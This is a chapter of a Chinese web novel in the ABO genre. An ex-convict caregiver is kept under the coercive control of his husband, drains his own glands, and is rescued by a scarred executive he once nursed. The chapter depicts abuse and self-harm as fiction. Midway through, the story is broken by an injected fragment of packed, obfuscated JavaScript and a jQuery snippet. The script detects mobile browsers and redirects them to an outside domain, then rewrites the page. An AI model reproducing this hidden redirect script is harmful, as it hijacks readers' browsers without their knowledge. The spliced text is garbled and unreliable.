牧川跑丢了吗？
系统弹出这个询问的时候，沈不弃正抱着小计算器算这一轮的提成。
这位狗血部部长难得的没有开玩笑，停下噼里啪啦按计算器的手指，托着下巴沉思了一会儿，若有所思地「唔」了一声。
「算是吧。」
沈不弃说完，指尖轻轻按下计算器上的“归零”键。
液晶屏上满满当当的数字瞬间消失。
那天清晨，牧川其实差一点就真的成功混入考场了——虽说天真过头的乡下Alpha没意识到，要想考试，不是走进门就行的。
他要先报名、先缴费、要拿到一张贴着自己照片的准考证。
监考官的名单上要有“牧川”两个字。
必须是“牧川”，不是“乡下小子”，不是“服刑的护工”，不是“裴疏养的那个Alpha”。
就只是“牧川”。
牧川参加过高考，他本来记得步骤，不能迟到，不能作弊，答题卡不能折，本来是知道的，他记得很牢，但一切都过去太久了……他已经离开学校，已经结婚。
已经戴上一枚不可以摘的戒指。
那枚金属戒圈深深勒进皮肉，把手指勒出一道刺眼的红痕。
牧川太久没出门见过这么多人了，有点胆怯，他在考场门口徘徊了几分钟——就是这几分钟，几乎像个摆设的手机震得他打了个激灵，上面弹出监狱发来的短信。
措辞冷冰冰的官方通知。
319125号犯人，有立功表现，批准减刑。
刑期提前终止。
他可以回家了。
他不必再去照顾那位泡在修复液里的病人先生，不必再去医院，还有三个小时，发给他的特殊准入通行证就会自动吊销。
……那大概是结婚后牧川跑得最快的一次。
他拔腿飞奔，跳上已经开始关门的班车，大口喘气，心跳咚咚砸着肋骨，他向老天或者别的什么神仙悄悄祈祷，下一点雨吧。
下一点就够。
牧川已经不那么怕雨和水声了。
这要感谢那位不知名的病人先生——毕竟修复液总是湿漉漉的，而那位先生又特别中意雨的气息。
各种雨水，细雨，小雨，暴雨，连冰雹也都喜欢，每次听见雷声，就总会敲治疗舱的舱壁，托他抽一个大空气泡打进修复液里。
他趴在治疗舱的边上，陪着病人先生一起闻各种雨的味道。
戴上手套，把手探进冰凉黏稠的修复液，擦拭舱壁的时候，他屏着呼吸，小心翼翼地，悄悄碰一碰缠满绷带的掌心。
……大概是老天或者别的什么神好心帮忙。
牧川坐在摇晃的班车上，努力睁大眼睛，看着窗外。
有一点雨丝飘下来了。
他连忙动手，从书包里火速掏出那一大堆专业装备，在下一站跳下车。
雨水打湿了睫毛，他顾不上擦，专心盯着每立方空气洁净度的探测器，严格比较，走了一公里。
被他成功搞到了满满两大瓶带栀子花香的干净雨后空气。
纯的。
一手全新。
牧川抿紧嘴唇的时候，会旋起一个自己不知道的很小的酒窝。他小心翼翼把这东西塞进衣服里，像偷运什么违禁品一样裹着，十万火急冲回医院。
来得及。
他跑得很快，来得及。
攥着干燥焐暖的通行证，想要进去病区的小护工，被拦在了门口。
熟悉的通道亮起红灯。
机械守卫停在他面前，冰冷的金属臂拦住他：“请退回，你没有权限，继续靠近将被攻击。”
年轻的乡下Alpha站在原地，苍白清秀的脸庞渐渐涨红，紧紧攥着那张通行证，结结巴巴据理力争，试图和一个机器讲清楚。
“还有……还有十分钟。”
他拿着自己的手机，翻出那条写了刑期结束时间的短信，努力踮脚举到摄像头前：“您看。”
“我必须快点进去……早上起来，要说早安的。”
“今天打针，他不喜欢，要着握手。”
“我答应他早回来。”
他小声辩解：“还有十分钟……”
声音越来越小，最后变成一点带着哭腔的气音。
他咬着嘴唇，忍着不掉泪，模仿其他人那样尝试走一点关系……他攥着袖子，帮机器人擦干净灰尘泥土，修好了虚接的液晶面板，拧紧了一个松动的螺丝。
他给机器人的胸口放了一束小花。
“请退回。”
机械守卫说：“您没有权限，继续靠近将被攻击。”
……
牧川就这样被退回了家。
裴疏开车来接他，给他买了礼物，蛋糕，买了新的白衬衫。
蛋糕是庆祝，庆祝他刑期彻底结束，被空调吹得微微发硬的糖霜上，奶油裱花写着“新生”。
裴疏给他买了花。
赭红色的丝绒玫瑰，被精心包裹在金属包装纸里，每一片花瓣都被特殊处理，定格在盛放的完美瞬间，花茎上缠绕着细细的铁线莲。
牧川坐在后排，被礼物盒子淹没，低头慢慢按那个破旧的手机。
“……阿川？”
裴疏的声音从驾驶座传来，温柔得像在哄小孩子：“小心眼睛。”
牧川微微打了个激灵，连忙按灭屏幕，两只手放在膝盖上坐直，抬头看车窗外的远处休息眼睛。
心里却还想着没写完的电子邮件。
他给医院、监狱、Alpha服务中心发了电邮，上面详细写了病人先生的所有习惯、喜好、身体状况，先生喜欢机甲维修的书，喜欢《机甲发动机常见故障50例》。
喜欢在打针的时候握着他的手。
那些人会继续好好照顾病人先生吗？
电邮没有回音，石沉大海，再也没有，他不知道是不是寄到了。
……之后的日子里，他做家务。
清晨六点起床，做营养餐，白天打扫房间，做营养餐，十一点午睡，下午一点醒，在家里慢慢转圈走满三千步，看一个小时电视。
晚上要帮裴疏做直播平台的超管——这并不难，只是挨骂、封禁和踢人，裴疏会帮他开机调试，登录好账号，只要会按鼠标。
日子很平常。
不知不觉的，那些曾经被翻得快散架的课本，好像也就藏进看不见的箱子角落了。
某天他发现自己说话又变得不太流畅，开始卡壳，偶尔去超市遇到导购靠近搭话，都会剧烈心跳，仿佛自己是什么见不得光的贼。
再之后，他被劣等Alpha关怀中心联系——那些人好心告诉他，他的评级是“E”。
他和配偶的级别差距过大，这对配偶极不公平，但没关系，有办法弥补他那低劣微薄的信息素。
只要他签一份合作协议。
他不太懂，拿去请裴疏帮忙看，裴疏随手签了字。
牧川的日程里就又加了一项，每天睡前洗澡的时候，自己挤压腺体，把里面的信息素榨干。
……原来腺体枯涸是这样的感觉。
他把腺液封装好，等第二天来人上门回收，愣神时被裹上浴巾，背后贴上体温。
裴疏的怀温柔而密不透风，帮他吹头发，手指轻轻梳理他的发丝，把每一缕头发都吹得蓬松柔软。裴疏环抱着他，嘴唇贴在他耳畔给他讲今天俱乐部的趣事。
牧川听不懂，他不太会打游戏，额头抵着裴疏的颈窝，浓郁的玫瑰蜜信息素熏得他发晕。
颈后的腺体干涸，枯瘪，像垃圾箱里被炽阳下曝晒的破鱼缸。
……不行。
不行……他无意识地呢喃背诵，冰冷的铅字像铁线莲缠着他……《Alpha守则》里规定了，信息素供给义务……亲密义务，不能满足……视为情感虐待。
他对裴疏造成了难以弥补的伤害。
他摸索着，迟疑地，捏碎一颗今早收到的信息素浓缩凝珠。
裴疏的瞳孔果然像被刺激的巨蟒那样收缩，怀抱更紧了，像是铁箍，几乎能听见骨骼摩擦的吱嘎。
他被勒得眼前炸开灰白雪花点，吃力地稍微隔开两个人，鼓起勇气结结巴巴问：“你……你需要的，是……这个吗？”
他这么问，心里其实是想，如果裴疏只是需要他的信息素，那么就简单得多了。
他可以每天都榨干自己的腺体。
腺体干涸后，身体的激素水平也会发生变化，没有欲望，没有颤栗，连那些无时无刻不折磨他的罪恶愧疚也像是沉进死水下的淤泥。
他控制不住地有些上瘾了。
但裴疏大概理解错了方向——裴疏大概是以为，他吃信息素的醋，于是裴疏把他抱得更紧，轻轻咬他的脖颈：“喜欢什么，霉味？”
“怎么还是这么蠢。”
“会有人喜欢装垃圾的小仓库？”
裴疏温柔地抱着他，嘴唇贴近，在离他近到仿佛亲密无间的距离流连：“你说……我要的是什么？”
牧川不知道。
裴疏不厌其烦地帮他“脱敏”，一点一点侵入他的安全距离，试图让他忘记监狱里那些该死的规训——这一晚如果不是他忽然失去意识、剧烈痉挛，几乎已经无限接近成功。
这是他出狱以后落下的老毛病，他被攥住双手，压住弹动的双脚，打疏解针，他被钉在裴疏怀里，像标本师手下刺穿的蝴蝶。
牧川微睁着眼睛，瞳孔扩散，颈后像是有个巨大不见底的冰窖，他在抽搐中恍惚地想。
他不知道。
或许他会这样过一生。
……
沈部长当然不会允许这种事的发生。
太不狗血了——前期角色的自由度太低，能暗箱操作的空间很少，束手束脚麻烦得很，只能尽量钻些剧情的空子。
现在不一样。
就剩这么几天。
他们这种全靠虐心值拿巨量提成的部门，KPI至上，铁血效率人。
是不可能让裴疏抱着牧川枯萎苍白的尸体后悔、绝望、寻死觅活痛改前非，最后守着花不完的钱煎熬余生活到九十九的。
系统有点明白了，扛着准备给裴临崖托的梦，谨慎地咽了下：「所以……」
沈不弃给自己豪掷一瓶眼药水，提前出院的谢总低头，锈金色瞳孔映出蜷缩在腿上的人影。
合金手杖抵在裴疏的胸口。
冰冷金属在昂贵体面的布料上压出皱褶灰印。
“滚开。”
谢抵霄的声音低哑平直，混着呼吸阀嘶嘶漏气的杂音。
他的语调没有起伏，脸上也没有，像是喉咙里藏着台发音的陈旧机器。他出院出得太早了，这不是最佳恢复状态。
顶尖Alpha就算重度烧伤、全身超过90％溃烂，只要有足够的医疗资源，也该能恢复如常。
而谢抵霄现在能把不懂事的小孩子吓哭——呼吸阀嵌在漆黑颈环里规律开合，暗银面罩覆盖疤痕，皮质束缚带深深勒进黑衣包裹的躯体，像是勉强捆回了人的形状。
谢抵霄用这个样子，放下手杖重新低头，握着牧川的脚，一片一片，挑那些嵌进去的碎玻璃。
牧川蜷在他胸口，苍白手指绞着他的毛衣，睫毛不停颤抖，尽力遮住那些溢出来的水。
小猫。
谢抵霄拿过药水。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662573|172843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>治疗舱里，无法睁眼的日日夜夜，被修复液包裹的睡前故事，有只死掉的小猫。
被恶作剧的混账东西用碎玻璃刺穿了，死在垃圾桶里，毛肮脏板结，身体冰冷僵硬。
好心的护工没来得及救它，因为这个伤心很久，一直记了十几年，趴在治疗舱边，用那种透过修复液模糊又绵软的嗓音小声絮叨。
……伤心。
谢抵霄的身体损伤超过90％，腺体不可能幸免，他的后续治疗不太顺利，病情多次恶化，最后留下了不可逆的后遗症。
腺体报废，Alpha依然能活，只是察觉不到身体里的明显情绪波动，几乎没什么可能恢复……或许一辈子无法再理解“伤心”。
但遇到小猫，就从垃圾桶里拎出来。
说好的。
他吐泡泡答应了。
谢抵霄看了看自己的金属义肢，表层温度23.7℃，他换了另一只手，抬起来，疤痕盘结的指腹轻轻擦拭那些湿透的悸栗睫毛。
他想着那个话很痨又停不下忙碌的活泼影子。
……
谢抵霄第一次见牧川，是机器人秘书汇报，裴疏的助理来敬酒。
说是叫牧川。
很多人都知道裴疏那个私人助理——乡下来的，才读到高中，连电梯也不会按的E级劣等Alpha。
那大概不是牧川那天晚上敬的第一杯酒，他临时放下文件，抓紧时间搜索了“有人吐在地毯上怎么办”、“有人昏倒在怀里怎么办”、“有人哭怎么办”。
搜索出来的答案很离谱，过半游走在道德和法律的边缘。
所以到最后，谢抵霄也只是谨慎地给这个年轻人简单清洗、换了衣服，圈在怀里轻轻拍抚——他当然不会对每个人这样。
但这个助理的口音很熟悉……尤其是在昏沉里抽噎，眼泪砸在他手上，含混不清念叨“机甲关节液压阀压力梯度”的时候。
罹患感情缺失症的谢总忽然被唤醒了身体里久违的绝望。
谢抵霄哄了一会儿这个喝醉的助理，得知对方根本不是高中学历，是帝都大学机甲维修专业的高材生，在空天舰玄鸟做维修师。
他想起他的护工。
每天背书九个小时，理想是通过成人自考，拿到维修师资格证，开一家小小的维修店。
只差一点。
那么努力的人，肯定考上了。
或许现在正在哼着《小枕头》快乐地修车，趴在小电视前，抱着攒钱买的模型眼巴巴看玄鸟的退役新闻。
……
他要替他的护工把握住这条宝贵人脉。
虽然还没找到人。谢抵霄已经找了很久，那个护工的信息仿佛被刻意抹去了，所有人都在唬他。
那些人想尽办法让他相信，从来就没有过那么一个人——没有护工，没有小枕头，一切都是他在修复舱里的一个长梦。
谢抵霄低头，看着蜷在胸口的人脉。
他无意识抬手，轻轻抚摸发着抖的脊背，指节贴了贴冰凉泪水浸透的苍白脸颊。
“别哭。”他说，“玄鸟落下来了。”
谢抵霄用纱布裹住这只脚，动作很慢，确认牧川不疼到发抖，才又裹好另一只。
他替牧川摘下手套，想要处理手上的伤，看到嵌在右手指根的金属戒环，冷光刺眼，他皱了皱眉。
牧川也在看着戒指。
低垂着的睫毛忽然颤了颤。
浅色的眼睛渐渐陷入一片湿冷的薄雾……坠落，坠落，掰断了翅膀，撕开腹腔，蝴蝶被银针扎透。
“我……”他的声音轻得听不清，像是犯了错的孩子在忏悔，“我记错了，对不起。”
他的眼睛、身体、手，被戒指禁锢，锁进小小的金属圆环。
“没当维修师……辍学，结婚了。”
“我是罪犯。”
“必须……回去。”
牧川的嘴唇吃力开合，皱着眉，艰难地回忆：“我是……”
“他是我的合法配偶，谢总。”裴疏的声音温柔地传来，“我们结婚八年了。”
他肆无忌惮地当众承认，不在意多少该死的狗仔相机里，他的脸从狰狞过渡到某种令人不适的偏执狂喜。
“想起来了吗？阿川，我们上学的时候。”裴疏的声音柔和到诡异，“那天雨很大，你失控标记了我……我为了救你，替你脱罪，和你结了婚。”
牧川像是被荆棘戒鞭抽在脊背上。
他有罪。
他温顺地爬下那双膝盖，被裴疏牵走，他发现自己的手腕被谢抵霄圈着，微弱地挣了挣，挣不动。
枯瘦的手腕在谢抵霄的掌心震颤。
脉搏细促，混乱到极点，干瘪如纸的皮肤下困着一只挣扎的蝴蝶，骨骼发出细微的、不堪重负的轻响。
又挣了挣。
苍白手腕在机械指掌间磨出刺眼红痕。
谢抵霄立刻松了手。
“……谢谢您。”牧川的声音轻得像被踩烂的小猫，苍白木然的眉宇间闪过一丝解脱，“我该……回家。”他机械地重复，“我要……忏悔，改正，我……先生……”
熟悉的、混着柔软乡音的两个字，裹着血沫，从苍白的唇间溢出，和隔过同样黏稠冰冷的修复液，那些轻快的声音重合。
谢抵霄的瞳孔在这两个字里收缩。
牧川发现自己又被揽住肩膀，他被裴疏温柔领着，正用那只残疾的右手捂着嘴，有些迷茫地抬头，他被抱起来了，他又出轨了。
牧川愧疚地向裴疏道歉，他不是故意的，对不起，他明天就……
孱弱的影子抽搐了下。
疯狂涌出的血沾在裴疏惊恐得惨白的脸上。